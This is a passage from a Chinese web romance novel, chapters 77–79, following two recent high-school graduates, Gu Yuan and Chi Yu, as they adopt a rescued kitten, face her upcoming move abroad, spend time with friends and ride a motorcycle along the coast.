“没有，表哥说他要住下，在收拾客房。”顾鸢走到床边坐下，商量道：“我换个衣服带他出去吃早饭，然后你再出去。”
迟瑜拉起顾鸢的手把手链戴上，勾着尾音懒散道：“我们这是在偷情？”
“什么偷……”顾鸢的脸蓦地一热，“你别乱说。”
“怎么不是？”迟瑜倾身，视线灼灼地看着她的眼睛，“昨晚压着我又亲又摸，来人了把我藏起来，等会儿还得偷摸地走。”
顾鸢沉默了几秒，捧住迟瑜的脸吻在唇角。
迟瑜：“……做什么？”
“贿赂。”顾鸢说着又亲了下。
迟瑜刚按住顾鸢的后颈，房门被敲响。
叩叩叩——
“顾鸢，好了没有？”
顾鸢猛地推开迟瑜，朝外喊道：“马上。”
等说完，顾鸢回头，迟瑜倚在桌边，眸色淡淡地看向她。
顾鸢：“对不起，你没事吧？”
迟瑜：“亲一下。”
-
顾鸢和姜煦庭去外面吃了早餐，姜煦庭也知道了顾鸢给同学输血的事。
“要不请个钟点工过来做饭，你这几天的吃食也要注意。”姜煦庭说着打开手机，“我大概要晚上才能回来，你下午什么安排。”
“要去趟医院，然后和朋友一起去逛街。”顾鸢说完手机响了一声，是迟瑜给她发的消息，已经到家了。
“同学？”姜煦庭问。
“是。”顾鸢放下手机，“约好一起去医院的。”
姜煦庭吃完擦了擦嘴，“正好还有点时间，我送你过去。”
去医院的路上，姜煦庭随口说道：“回去的事，要跟你的同学告别吗？”
顾鸢垂下眼睫，嗓音淡淡，“已经告诉他们了。”
姜煦庭偏眸看了眼她，“姑姑的情况还算稳定，可以多待几天。”
顾鸢把头转向窗外，没有回姜煦庭的话。
-
医院，肖毅已经醒来，迟瑜、陈哲明、墨谦和余荔分别站在病床两边。
肖毅看着围了一圈的人，虚虚道：“感谢大家百忙之中过来，要不先坐……”
余荔冷声道：“愚蠢。”
墨谦拉住她的胳膊，轻轻摇了摇头。
肖毅垂下脑袋，“抱歉，那个，顾鸢呢？”
迟瑜抬起眼睫，眸光睨向他。
肖毅：“……曹老师说是顾姐给我输的血。”
“找我？”顾鸢从门口进来。
肖毅眼眸一亮，“顾姐，谢谢。”
“小事。”顾鸢朝里看过去，“你们这是？”
墨谦：“在说话，正好你进来了，我和余荔枝还有事，就先走了。”
余荔和墨谦离开，陈哲明也对肖毅说道：“你好好休息，先走了。”
肖毅点头，“好，谢谢。”
等陈哲明一走，迟瑜拉着顾鸢坐下，“表哥送你过来的？”
“嗯。”顾鸢抬睫，“接下来一段时间表哥都要住家里。”
两人沉默，突然病房里的另一个人出声。
“我啊。”肖毅指了指自己，“接下来几天你们天天来医院看我。”
迟瑜淡淡瞥了他一眼，肖毅闭上了嘴巴。
迟瑜揉了揉顾鸢的脑袋，“困不困？”
顾鸢摇头，“不困，你没睡好？”
迟瑜目光沉沉地
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看着她。
顾鸢：“……要不你眯一会儿？”
“要不你们回去。”肖毅弱弱说道：“再我这儿撒狗粮真的不太好。”
……
从医院出来，顾鸢和迟瑜牵着手走在人行道上。
这条路过去有很多小店，顾鸢抬眸时看到一家精品店，正好有两个女生出来，讨论着新打的耳洞。
“要去？”迟瑜问。
顾鸢点头，“去。”
在等上一个女生打耳洞的时候，顾鸢去挑耳钉，等顾鸢发现的时候，迟瑜已经打好了过来。
顾鸢惊的好一会儿都没有说话，“你怎么也打了？”
“不好看？”迟瑜抬眉，嗓音懒散地落下来，“老板说这个是情侣款。”
“好看。”顾鸢抬手摸了下，凑到他耳边说道：“好看的想要藏起来。”
迟瑜：“……”
总感觉这姑娘有点不一样了。
打完耳钉出来，顾鸢下意识要用手摸，迟瑜抓住她的手，“别用手摸，容易感染。”
“感觉有点奇怪，痒痒的。”顾鸢伸手想要摸一下他的，迟瑜往后躲开，垂眸散漫道：“又想干什么？”
顾鸢：“摸一下？”
迟瑜：“……大庭广众的，是不是不太好？”
顾鸢：“你在想什么？”
迟瑜：“……”靠！
家里这个时间没人，叶蔓茹去了店里。
迟瑜出来的时候炖了骨汤，时间到了之后自动关了火，这会儿已经好了。
顾鸢刚坐下，迟瑜就端了一碗汤出来。
顾鸢稍怔，“这是干什么？”
迟瑜在旁边坐下，解释道：“昨天晚上曹老师说了，需要给你补补。”
顾鸢讶然，沉默了几秒钟后，“其实抽那点血不用补，我的身体没那么弱。”
“那等会儿再喝？”迟瑜把汤放到一边，“要不喝点水？”
顾鸢眨眨眼，“我不渴。”
迟瑜：“那你……”
顾鸢：“你想说什么？”
迟瑜：“要不看个电影？”
顾鸢：“好。”
迟瑜去开电视，顾鸢端起茶几上的汤碗喝起来。
两人选了一部喜剧片，迟瑜把空碗拿到厨房过来坐下。
“还记得看第一部的时候是你放的。”
顾鸢稍怔，“你还记得？”
“当然记得。”迟瑜捏了捏顾鸢纤细的手指，嗓音懒懒的，“本来以为你胆子很小，没想到还挺大，老曹都没同意你就敢放电影。”
想起那天发生的事顾鸢一本正紧地说道：“我就不一样了，在教学楼大厅和你说完话之后就觉得你这人真不好说话，看着脾气也大。”
“我脾气大？”迟瑜把顾鸢的脸掰过来捏了捏，“你倒是说说，我哪儿脾气大？”
顾鸢拉下他的手，细细数道：“我们去办公室帮曹老师阅卷子那次，你就不爱搭理我，讲题的时候也没有耐心，我都不敢跟你说话。”
迟瑜：“……我那是……”
顾鸢：“什么？”
迟瑜：“我不好意思？”
顾鸢：“嗯？”
“你说说呗，为什么不好意思？”顾鸢缠着他非要问出个所以，“你有多不好意思啊，不敢看我，不敢跟我说话？”
“我暗恋你。”迟瑜说完如释重负地松了口气，“现在能从我身上下来了吗？”
顾鸢摇头，“还有小时候，我在医院见到的人是你，你怎么没告诉我。”
“没想好怎么跟你说。”迟瑜往后仰靠在沙发上，眼睫垂下，嗓音有些低，“怕你觉得我在故意找话题和你搭讪。”
顾鸢怔了几秒钟，俯身亲了亲他的唇角。
77. 够狠
电影讲了什么顾鸢是不知道的，等迟瑜从洗手间出来，顾鸢才发现已经播到了结束的字幕。
迟瑜穿着宽松的短袖短裤，一边擦着头发一边往过来走。
顾鸢的视线往下快速瞥了一眼，认真思考了下，说：“我们还是出去玩吧。”
“去哪儿？”迟瑜拿起抱枕坐到顾鸢旁边。
“去哪儿都行。”顾鸢拿起手机打开，“言酥约我去逛街。”
迟瑜从果盘里拿了一颗草莓喂到顾鸢唇边，问：“现在还是下午？”
“现在。”顾鸢一点儿都没有犹豫地说。
迟瑜慢吞吞地应了声，起身往房间走，“等我换件衣服。”
言酥：【这个天练车我得先置办一身行头，除了眼睛其他的都不能露出来，下午陪我去买】
顾鸢：【现在就出门，中午一起吃饭，然后再去买衣服】
言酥：【不跟迟瑜玩啦】
顾鸢：【……陪你最重要】
言酥：【？】
迟瑜出来的时候手里还拿了一个东西，顾鸢一开始并没有注意到，直到迟瑜撕开创可贴往她的脖子上帖，顾鸢下意识往后躲，“干什么？”
“留印子了。”迟瑜指了指脖颈的位置，嗓音还带了几分低哑，“抱歉，下次注意。”
顾鸢的脸突的一热，拿过创可贴就往洗手间跑，浴室里还有未散尽的水汽，顾鸢双颊泛红，像是熟透的桃子。
明明是亲了嘴角，怎么就越亲越不对劲了……
仔仔细细地检查了一遍确定就留下了一个印记，顾鸢贴好创可贴洗了脸出来。
顾鸢出来，迟瑜撩起眼帘，视线落到顾鸢脖颈上的创可贴时眸色暗了暗，“好了？”
“嗯。”顾鸢轻轻应声。
迟瑜拿上顾鸢的包和手机从沙发上起来，“送你过去。”
-
顾鸢和言酥约好在商场一楼碰面。
顾鸢到的时候言酥已经拿着两杯奶茶在等她了。
把顾鸢的那杯给她，言酥上下打量着顾鸢，眼神意味深长，“你这口红不错，哪个色号等会儿我也买一支。”
“男朋友牌的。”顾鸢淡定地说道。
言酥瞪大双眸，“真没想到，原来你是这样的浅浅。”尤其是注意到顾鸢脖子上的创可贴时，言酥的眼睛瞪得更大了，“你这儿怎么回事？”
未免言酥再问下去，顾鸢赶紧挽住她的胳膊往里走，“外面这么热，我们先进去，你不是要买防晒套装？”
“对，除了眼睛都要捂严实，我可不想开学的时候成为宿舍最黑的那个。”言酥想了想又说：“哦对，还要买防晒。”
顾鸢吸了一口奶茶，咕哝道：“那先去吃饭？”
“好的，我想吃……”
吃完饭两人先去了化妆品店，店员一看就知道她们是刚高考完的学生，随即开始大力推销。
“当然我们这款的遮瑕效果也很好。”店员把遮瑕给言酥，“这边有镜子可以试一下。”
“谢谢。”
言酥拉着顾鸢过去，撕下她脖子上的创可贴，看到清晰的草莓引，没忍住啧了一声，“你俩好歹注意点儿吧，夏天又不好遮，而且贴上创可贴出来很多人都懂。”
说起这个顾鸢也有些无奈，以前跟着祁蓉追过一部剧，看到人家亲着亲着就忍不住的还不理解，现在是完全明白了。
不过迟瑜好像……
“嗨！想什么呢，脸都红了。”
顾鸢回神，“没什么，遮住了吗？”
言酥按着她的肩膀转了个身，“我觉得可以，完全看不出来，你可以买一瓶。”
顾鸢：“……其实是不小心碰到的。”
言酥眨眼，“我懂。”
顾鸢：“……”越描越黑。
出来的时候，两人的手里提满了袋子。
接下来顾鸢又陪着言酥买了防晒衣，出商场的时候已经是傍晚了，因为言酥晚上还有事两人原地分开。
回家的路上，顾鸢经过小区附近的草丛时听到里面又有低低的又有些凄凄的叫声。
顾鸢蹲下去拨开草丛，是一只浑身脏兮兮的小猫，看毛发应该是白色，小猫的一条腿受了伤，腿部的毛发上还沾着血块。
顾鸢从包里掏出防晒衣，小心翼翼地把小猫抱出来。打开手机找了附近的宠物医院。
-
这边，迟瑜在医院陪着肖毅打游戏，在肖毅第五次问他真的不需要和女朋友出去约会的时候迟瑜的手机响了。
听筒里传来顾鸢的声音，“迟瑜，来见你儿子。”
肖毅的手机吧嗒掉在被子上，慌乱说道：“这速度属实有点快了哈。”
迟瑜看傻子一样看了他一眼，走到门口的时候又回头说道：“晚上过来陪你。”
“别，我妈等会儿就来了。”提到母亲，肖毅的情绪已经稳定了很多，“我不会再伤害自己了，但我也不会妥协。”
迟瑜点了点脑袋，“有事打电话。”
肖毅微笑，“好。”
……
迟瑜到宠物医院的时候小东西的伤口已经处理好了，因为是流浪猫，还需要做一些其他检查。
“这就是你说的儿子？”迟瑜指了指巴掌大小的白色毛发的小家伙。
顾鸢眨眼，“你不是说你喜欢猫，正好小白没有家人，我们可以收养它。”
因为是只小白猫，顾鸢就直接叫它小白了。
“那之后呢？”迟瑜的声音淡淡的，“再让它失去一个家人？”
顾鸢怔住，看着可爱的小家伙心揪了起来。
是啊，刚相熟就要分别，还不如一开始就不要接触。
两人都沉默着没有说话，过了一会儿医生做完了检查说道：“小白的年纪还小，伤口需要及时换药，我们这边的建议是它住下来观察，等彻底好了再带回家。”
“好的，谢谢。”
顾鸢去缴费，转身时眼底闪过一丝落寞。
迟瑜问医生，“养它需要注意什么？”
医生愣了下，旋即跟他细细说起来。
从宠物医院出来，顾鸢的情绪一直很低落，迟瑜走在她旁边，偏眸看着她。
有些事情可以逃避一时，但不能逃避一世，总是要正面解决的。
“顾鸢。”迟瑜拉住她的手，几步走到前面，“我们谈谈。”
……
公园的长椅上，两人各坐在一边，草丛里的蝉鸣声此起彼伏。
“什么时候走？”迟瑜问。
顾鸢用力抿唇，开口的嗓音有些涩，“等表哥处理完这边的事情，大概24号左右。”
迟瑜点了下脑袋，“表哥是来接你的？”
“是。”
顾鸢抬睫，入目是迟瑜漆黑深邃的眸，心脏紧了紧，她问：“在山庄说的话，算数吗？”
“算。”迟瑜眸色沉了沉，嗓音也压得低，“你是什么想法？”
顾鸢心尖微颤，声音低到只有两人才能听见，“可我不知道以后会不会回来。”
或者更大的几率是不会回来。她不能让姜之遥一个人留在美国，她也不想让姜之遥失落。
“什么意思？”迟瑜侧身看过来，“你要长住？”
“对不起。”顾鸢垂睫，嗓音低哑，“我不能给你保证。”
静谧的夜色下，大片云朵遮住了月亮，蝉鸣声起伏，偶尔有一两声猫叫。
眼泪滴在手背上，吧嗒一声，清脆的，像是瓷器碎掉的声音。
迟瑜抬手揩了揩她的脸颊，“我没怪你。”
良久，迟瑜轻轻吻上她的额头，“很晚了，送你回家。”
顾鸢抬起眼睫，双手抱住他的腰，轻轻嗯了一声。
迟瑜轻叹一声，手掌落在顾鸢的后背轻轻地安抚着。
-
顾鸢没有再去过医院看小白，但有嘱咐那边的人要是有人愿意收养小白一定要及时告知她。
肖毅在医院呆了一周，出院这天顾鸢也去了。
迟瑜这几天好像很忙，两人没见过几面，手机上发的消息也寥寥无几。
才几天没见，顾鸢觉得他好像有点不一样了，头发剪短了，脸部轮廓更加分明，身上也有了几分锐气。
肖毅妈妈把空间留给肖毅的朋友和同学，大家都在客厅坐着。
江皓阳是个闲不住的性子，观察到气氛有些沉默，开始找话题，“成绩快出来了是吧，你们学校选的怎么样了？”
大家淡淡地看了他一眼。
江皓阳：“肖毅你呢，你想报哪儿？”
肖毅：“还没想好，但我前两天报名了一档选秀节目。”
江皓阳啪地拍手，“我就知道你肯定行，哥们去给你投票。”
肖毅：“谢了。”
江皓阳：“客气。”
问了一圈下来，徐百川和言酥不出意外都去华大，墨谦和余荔去清大，轮到迟瑜和顾鸢，江皓阳默认了他们也去清大。
顾鸢淡声道：“我出国。”
江皓阳惊
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得目瞪口呆，“……什、什么？”
迟瑜拉上顾鸢往外走，声音懒懒的，“有点事，你们聊。”
房间里的其他人面面相觑。
江皓阳丈二和尚摸不着头脑，“什么意思啊这是，顾姐怎么要出国了，迟哥咋办？”
没有人回答他的问题，江皓阳明白了什么烦躁地低咒一声。
……
这边的楼层都比较低，最高也只有六层，肖毅家住在五楼。
迟瑜拉着顾鸢，两人直接上了顶楼。
宁宜这一周都是雨季，楼顶还有些未干的积水，啪的一声溅开，顾鸢被推到墙角，迟瑜蓦地压下来，嗓音低沉发哑，“还没走就不跟我说话了。”
“没有，是你没有给我发消息。”后背抵在砖块上，顾鸢有些不舒服，微蹙着眉，“你先松开，不然我动手了。”
迟瑜挑眉，唇角的笑带着邪气，尾音勾着，有几分挑衅的意味，“你倒是动啊。”
顾鸢：“你……唔……”
“亲会儿。”迟瑜将顾鸢往前带了带，吻的用力，顾鸢的腰被锢的生疼，大脑宕机，舌尖被吸的发麻，耳畔是口液的吞咽声，连呼吸都变得短促。
顾鸢真觉得他很莫名其妙，双手搂着他的脖子，牙齿毫不留情地咬下去。
“嘶——”
迟瑜被迫松开，舌尖退出来，口腔里有了血腥味，嗓音沙哑，“想咬死我？”
顾鸢不说话，只是红着眼睛看他，迟瑜抬手，指腹按在顾鸢沾满水渍的唇瓣上，声音阴沉，“你可真够狠。”
“顾鸢，你真狠。”
窝在家里的沙发上，顾鸢抱着双膝，脑袋里一直重复着这句话。
门铃声响了很久顾鸢才回神，看了眼手机已经晚上九点多了。顾鸢连拖鞋都没穿就去开门。
姜煦庭微怔，“怎么不穿鞋？”
说罢弯腰从鞋柜里拿了一双新的放到顾鸢脚边。
“哦，忘记了。”顾鸢转身又回到沙发前坐下，“你忙完了吗？”
姜煦庭分别给两人倒了水，然后在单人沙发上坐下。
看了眼顾鸢，姜煦庭说道：“有解决不了的事可以跟我说，你可以完全放心，我绝对保密。”
顾鸢抿了口水，拿了一个抱枕抱在怀里，“你见过他。”
“迟瑜？”姜煦庭双手搭在膝盖上往前倾了倾身体，“你的那个同学？”
“嗯。”顾鸢点头，抬起眼帘，神色认真地发问：“如果注定要分开的话，是不是没有必要开始？”
姜煦庭思索了片刻，“先问你一个问题，你觉得过程重要还是结果重要？”
顾鸢垂睫，半晌说道：“我很贪心，都想要。”
“那就不要错过，就去努力争取。”姜煦庭莞尔，“很抱歉这事我也不懂，之前对你说有女朋友的事也是骗你的，还真给不了你有用的建议。”
顾鸢讶然，“假的？”
姜煦庭点了点脑袋，“对，手腕上的皮筋是一个意外。”不知道想到了什么，他神色一顿，又说：“当时没有喜欢的女孩。”
“那现在有了？”顾鸢敏锐地抓住了其中的字眼。
“算是吧。”姜煦庭嗓音淡淡，“但是并没有很强烈。”
作为一个连自己的感情状况都没有处理好的人，顾鸢并没有太注意姜煦庭的事。
回到房间躺下，祁蓉给她发了消息说刚才已经回家了，明天就来找她玩，顾鸢表示欢迎。
想到什么，顾鸢指尖一顿给迟瑜发了条消息。
【睡了吗？】
对面回的很快，【没有，有事？】
顾鸢：【打视频，方便吗？】
下一秒视频弹出来，顾鸢接通，两人都没有先开口。
顾鸢抿唇，“明天有时间吗？”
迟瑜握住手指的指节紧了紧，“那得看什么事？”
顾鸢：“一起去看看小白。”
迟瑜愣了几秒钟，“商量一下，换个名字。”
顾鸢找了个舒服的姿势躺下，嗓音温软，“好啊，你想好了吗？”
迟瑜有时候觉得他真挺没出息的，明明应该生气的，顾鸢语气一软他就好了。
“还没有，你有想到的吗？”
顾鸢：“小鱼？”
迟瑜：“叫我干什么？”
顾鸢：“……我说小白叫小鱼呢？”
迟瑜脸色一黑，“换一个。”
顾鸢：“可是我喜欢小鱼。”
迟瑜：靠！
78. 强迫
两人讨论了很久，最终确定了小白的大名。
布丁。
确当布丁的身体没有问题之后，迟瑜把它带回了家里。
“你家里真的可以养猫吗？”顾鸢抱着布丁再次询问。
迟瑜把布丁的东西拿到自己的房间，“可以，你带它进来吧。”
顾鸢这还是第一次进迟瑜的房间，进门第一眼看到的就是书桌，左边是置物架，往右是一张单人床，衣柜，房间很小，但很干净整洁。
“坐。”迟瑜拉开椅子，把布丁的东西都放到准备好的地方。
顾鸢瞥见床头的地方有个小房子，抬睫问道：“那个是给布丁准备的？”
迟瑜偏眸，“是。”说着从顾鸢怀里接过布丁，然后放到它的小房子里。
布丁还有些胆小，眼珠子滴溜地转啊转，偷偷瞥了眼两人，就把脑袋埋下去自己玩了。
顾鸢和迟瑜蹲在小屋前看着小家伙。
顾鸢揉了揉布丁的小脑袋，“它真的好小，那天捡到它的时候奄奄一息的，我都怕它活不了，还好我们小布丁坚强。”
“对了，你……”顾鸢扭头，撞进迟瑜深邃的视线里，顾鸢心尖猛地颤了下，声音变轻，“你看我干什么？”
“不能看？”迟瑜把往顾鸢怀里钻的布丁拎起来丢回去，嗓音似有几分醋意，“你对它倒是上心。”
顾鸢捂住小布丁的眼睛，快速在迟瑜的侧脸亲了下，“对你也上心。”
迟瑜垂睫，瞳眸黑沉沉的压下来，“带你去个地方？”
“嗯？去哪儿？现在？”
“下午我来接你。”迟瑜抬手，指腹摩挲着顾鸢白皙的脖颈，“表哥晚上几点回家？”
“9点、9点多吧。”顾鸢有些痒，脖子往后缩了缩，脊背靠在床边。
迟瑜的视线紧紧地盯着顾鸢的脸上，眸色沉得像是研不开的墨。顾鸢被迟瑜看的不自在起来，捧着他的脸吻了上去。
突然，不知道是谁在敲门。
布丁找准时机跑了出来跳到顾鸢怀里，顾鸢脸颊发热，抱着它坐起来。
迟瑜敛下眸低神色，起身出去开门。
江皓阳、徐百川、肖毅，三个人站在门口，神色严肃。
迟瑜抬眉，“有事？”
“先让我们进来。”江皓阳扒拉开他，走到客厅自然地坐下，“那个，我们是怕你无聊，所以过来陪你。”
迟瑜的眼皮跳了跳。
肖毅：“对对对，正好我也需要人陪，我们一起。”
迟瑜看向徐柏川。
徐百川：“我是被他俩硬拉过来的。”
深吸了口气，迟瑜慎重地说：“不需要。”
“那怎么能行？”江皓阳急了，拉着他坐下，“我们先来打一局游戏，等下午了再去打球。”
迟瑜正要起来，肖毅拽住他的另一条胳膊，“我们都知道你难受，你不想说没关系，我们一起把时间浪费掉，这样你就不难受了。”
迟瑜：“……我很好。”
徐百川把迟瑜拉出来，“你要不换件衣服，我们一起出去。”
迟瑜：“我不……等着。”
江皓阳&肖毅：“好的。”
迟瑜回到卧室的时候顾鸢还在和布丁玩，看到他进来，顾鸢抱着布丁站起来，“我好像听到了江皓阳他们几个的声音。”
“是他们三个。”迟瑜把布丁接过来放回小窝，“一起出去？”
“好啊。”顾鸢看了眼被他按着脑袋的布丁，嗓音里带了几分笑意，“我怎么觉得你在吃布丁的醋。”
迟瑜拉着顾鸢坐下，一字一顿道：“我不会吃一只猫的醋。”
顾鸢抿着唇，眼眸稍弯，“那为什么我一抱它你就要把它放到小窝里？”
迟瑜压着眉，嗓音蓦地低沉，看了她须臾，索性直接承认，“是，我就是吃醋了，所以呢？”
顾鸢搂住他的脖子，吻落下，咕哝道：“哄你。”
迟瑜将人带到怀里，呼吸灼热喷洒在顾鸢的脖颈，嗓音低哑，“不去了。”
“嗯~”顾鸢仰着头，意识混沌，猛地想到什么，带着轻颤的嗓音从唇角溢出，“别留下……”
“知道……”迟瑜回的含糊。
小布丁以为顾鸢被欺负了，不停地扒拉着迟瑜的腿，迟瑜嫌烦，直接抱起顾鸢坐到床上。
外面的人似乎等急了，敲了两下门，问道：“你好了没有，不然我进来帮你换。”江皓阳说着就去拧门把手。
迟瑜抬起眼睫淡淡的扫了一眼门锁。
刚才进来迟瑜就把门反锁了，江皓阳试了好几下都没打开。
“我去！他不是想不开了吧。”江皓阳朝徐百川和肖毅看过去，“要不要叫120？”
肖毅拿出手机，手指都在哆嗦，“我来打。”
徐百川又敲了下门，朝里说道：“在就吱个声？”
里面，迟瑜把脑袋从顾鸢肩窝抬起来，呼吸又粗又重，朝外道：“下午。”
江皓阳：“啥意思？”
肖毅摇头。
徐百川一边拉上一个往出走，“下午再去。”
听到关门的声音，迟瑜垂眸看向顾鸢，“还亲吗？”
顾鸢搂住他的脖子亲了亲他喉结地方，迟瑜墨色的瞳眸翻滚着，按在床上的手指攥紧。
良久，小布丁终于爬了上来，迈着小短腿跑到顾鸢身边，脑袋不停地拱着顾鸢的脖子。
顾鸢痒的笑起来，“布丁，别闹了，好痒。”
迟瑜伸手一把拎起它，布丁手脚并用胡乱瞪着，嘴里还发出抗议的叫声。
迟瑜拎着它晃了晃，没好气道：“对你爹我客气点，不然把你丢了。”
顾鸢把布丁接过来，不满地对迟瑜说道：“你别吓它，本来就胆小。”
迟瑜：“……”
转过身拿枕头闷住脑袋。
顾鸢后知后觉意识到迟瑜没说话，抱着布丁坐了起来，结果就看到迟瑜一副安睡的样子。
顾鸢推了推他的胳膊，“……你睡着了？”
枕头下传来闷闷的声音。
迟瑜不紧不慢地说：“要不还是不养了？”
“喵~”
顾鸢还没说话，布丁已经迈着小短腿走到迟瑜身边，爪子踩在迟瑜的小腹上。
顾鸢：“！”
迟瑜：“我#￥%&*”
迟瑜黑着脸拎起布丁，布丁吓得瑟瑟发抖。
布丁：“喵~”布丁可怜兮兮地向顾鸢求救。
迟瑜：“叫妈没用，你想造反？”
一猫一人僵持了几分钟。
顾鸢悄悄拿手机录了一段小视频，没忍住“噗嗤”一声笑了出来。
迟瑜和布丁同时转头看过来。
顾鸢：“……”
收了笑，一本正经道：“我吃醋了。”
迟瑜：“？”
布丁：“喵~”
“真的，你们俩都对视好长时间了。”顾鸢说着把小布丁从迟瑜手里解救出来，举着它的小爪子很认真地对它说：“你现在是一只成熟的小布丁了，要学会自己玩知道吗？”
布丁：“喵~”
顾鸢揉了揉它的脑袋，继续说道：“撒娇也没用，咱们家的男孩子要学会独立。”
布丁眼里满是迷茫，叫都不加了，扭头去看迟瑜。
顾鸢把它的脑袋掰过来，语气严肃，“布丁，不可以犯错了就找外援。”
布丁委屈，但布丁不说，布丁垂下小脑袋。
迟瑜：“……要不算了，我没事。”
“真的没事吗？”顾鸢有些迟疑，她记得好像男孩子那个地方都挺脆弱的。“布丁虽然小，但它下手可不轻。”
迟瑜黑眸沉沉，嗓音有些低，“真没事。”
“好吧。”顾鸢把小布丁放下，“去给你爸爸道歉。”
布丁：“喵~”
委屈死了~
迟瑜抓起它放回小窝，“原谅你了，但是我们还有事，所以你自己玩。”
顾鸢勾着唇，趴在床边逗布丁，迟瑜正要说什么，手机又响起来，他起身坐到床尾回消息。
徐百川：【悠着点】
江皓阳：【中午一起去吃烤肉，老徐请客】
肖毅：【要不我们明天去露营，叫上顾姐和祁蓉他们】
迟瑜一一回复。
【？】
【地址】
【可以】
-
中午顾鸢和祁蓉言酥陈静约了在家里煮火锅，钟点工阿姨帮忙弄好汤底洗完菜就走了。
陈静来的时候买了微醺放在冰箱，这个时候取出来正好。
等都入座，顾鸢站了起来，思索片刻说道：“成绩出来我就要离开宁宜了，很高兴能与大家相识，我会永远记得你们的。”
言酥哎呀一声，“又不是不联系了，怎么说的这么伤感，接下来大家多聚聚不就好了。”
祁蓉点头，“对啊对啊，过年你总要回来吧，都时候大家一定要再聚的。”
陈静就比较好爽了，直接拿起一瓶微醺，豪迈道：“来，干了这瓶，我们永远都
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是好朋友。”
顾鸢眨了眨酸涩的眼眶，笑道：“好。”
夏天吃火锅喝冰饮再吃西瓜简直不要爽翻，顾鸢专门确定过这个东西喝了不会醉，但她还是低估了自己的酒量。
看着顾鸢眼神开始迷离了，三个人都围着她。
言酥轻声问：“浅浅，你给迟瑜备注打的什么呀？”
顾鸢单手撑着下巴，拿出手机找到迟瑜的头像点开，备注是：小鱼。
陈静清了清嗓子，又问：“你和迟瑜接吻的时候，是什么感觉？”
言酥和祁蓉竖起耳朵听。
顾鸢长睫轻，脸颊泛着淡淡的红晕，“软软的……有点凉……很热……舒服……”
祁蓉双眸放光，继续发问：“你们第一次是什么时候亲的？”
顾鸢认真想了想，“就是，聚会结束，沙发……家里的……”
三人差点都要尖叫起来，互相抓着对方的胳膊晃动。
言酥继续问：“你摸他了没有？”
顾鸢红着脸眨了眨眼，“有的。”
陈静：“什么感觉？”
顾鸢认真想了想，摇头，“不记得。”
祁蓉还想问，顾鸢就趴下睡着了。
言酥几人收拾完把顾鸢扶到沙发上才离开。
几人离开没一会儿，顾鸢觉得口渴，爬起来喝了半杯水。刚回到沙发上躺下，迟瑜的视频电话就打过来了。
顾鸢慢吞吞地接通，嗓音温软，“怎么啦？”
迟瑜一眼就看出来她不对劲，“喝酒了？”
顾鸢摇头，“不是，那个不是酒。”
迟瑜侧脸的咬肌绷紧，眸色微深，“家里还有人吗？”
“有啊。”顾鸢数着手指说道：“有一个两个三个四个五个六个七个八个……”
“我过来找你。”迟瑜打开门就要往出走。
“不要。”顾鸢果断拒绝。
迟瑜按在门把上的手顿住，怔愣了几秒钟，问出的声音飘着，“为什么？”
顾鸢垂下脑袋，语气低落，“我就更舍不得了。”
良久，迟瑜说道：“不会的，我来找你。”
-
顾鸢是被冻醒的，拿上手机回了卧室，顾鸢才发现一个小时前和迟瑜打了视频。
可是说了什么……
她没印象了。
啊啊啊啊啊……
到底为什么这个喝了也会醉啊？
顾鸢把脑袋闷进被子里，神色懊恼。
傍晚六点多，迟瑜发消息说他到楼下了。
顾鸢换了身衣服出门，在楼下碰到了曹军平。
“曹老师。”顾鸢礼貌问好。
曹军平笑道：“出去玩？”
“是。”顾鸢等他过来又说道：“上次谢谢您送我回来。”
“不用客气，这是老师该做的。”停顿了一瞬，曹军平又问：“身体怎么样了？”
“好了。”不仅迟瑜给她补，钟点工阿姨每天做的饭也都是补身体的。
两人说着已经到了小区门口，曹军平看到迟瑜骑着摩托车，心立马就跑到了嗓子眼。
“你别告诉我要骑着这个带顾鸢去兜风？”
“不能吗？”迟瑜把头盔取下来给顾鸢，“我成年了可以骑，而且我有证。”
曹军平忽然想起来，臭小子毕业了，还真能骑。
半晌憋出了四个字，“注意安全。”
“您放心，绝对安全。”迟瑜笑道：“要不到时候让顾鸢跟您汇报一声？”
曹军平看到有辆车开过来，瞪了迟瑜一眼又嘱咐顾鸢，“你也要注意安全。”
“好的曹老师。”
顾鸢说完和迟瑜站在一起看曹老师小跑到一个漂亮姐姐面前。
顾鸢：“那是曹老师的女朋友吗？”
迟瑜：“还不是吧。”
戴好头盔，迟瑜先上了车，等顾鸢坐好又说道：“抱紧我。”
“好。”顾鸢双手搂紧他的腰。
迟瑜勾起唇角，嗓音懒散，玩笑道：“要是带你夜不归宿你表哥会不会打我？”
顾鸢认真思考了几秒，“他会认为你是被我强迫的。”
迟瑜回头看了她一眼，笑声含在晚风里，“我可不敢。”
说完迟瑜拧动把手，车子发动，因为惯性，顾鸢往前扑，胸膛紧紧贴上迟瑜的后背。
迟瑜把车开到环海公路，晚风拂过，顾鸢眯着眼睛，放开嗓子喊了一声。
“迟瑜，谢谢你。”
“还有，我喜欢你。”
79. 相册
顾鸢坐在台阶上，托着腮看着落日跌进地平线，隐入海面，橙色渐渐褪去。
迟瑜递了一瓶水给顾鸢，“休息好了？”
接过水的顾鸢一顿，“这就回去？”
迟瑜敞着双腿坐下，手肘搭在膝盖上侧着身看过来，散漫道：“还早，赶在9点之前送你回去。”
顾鸢拧开瓶盖喝了口水，抬睫时远处已经变成大海的蓝，天色也蓦地暗了下去。
“对了，晚上布丁吃什么？”顾鸢打开手机，已经七点多了，“你出来的时候给它留……”
在迟瑜的凝视下，顾鸢的声音逐渐减小。
“饭了吗？”
“放肖毅家了，他以前养过猫，会照顾。”迟瑜嗓音淡淡地说着，从顾鸢手里抽出瓶子，拧开瓶盖喝了起来。
顾鸢欲言又止。
她喝过的。
迟瑜把手机给顾鸢，“肖毅隔五分钟就发消息汇报情况，看一下。”
顾鸢接过来输入密码，映入眼帘的是她的照片，照片里她还是短发，看穿着是高一她在大厅迷路那次。
“你那天还偷拍我了？”
“光明正大地拍，我以为是隔壁初中生走错了，打算找老曹给送回去。“迟瑜说着抬手把空瓶子丢出去，哐当一声，正好落进不远处的垃圾桶里。
顾鸢哑然，打开微信肖毅果然发了好几条消息。
【jpg.你儿子脾气还挺大，跟你真像】
【jpg.你儿子在瞪我】
【jpg.你儿子想妈妈了】
……
看完了消息，顾鸢从微信退出来，迟瑜不知道去干什么了，顾鸢想了想，点开他的相册。
有个相册的命名是Q，顾鸢点开，竟然都是她的照片。
顾鸢滑到最下面开始看，最早的一张是她去报道那天趴在曹军平办公室的窗户上的，看视角应该是在楼下拍的，那天在楼下的人……是他？
顾鸢继续往下翻，是她坐在操场的看晚会的。
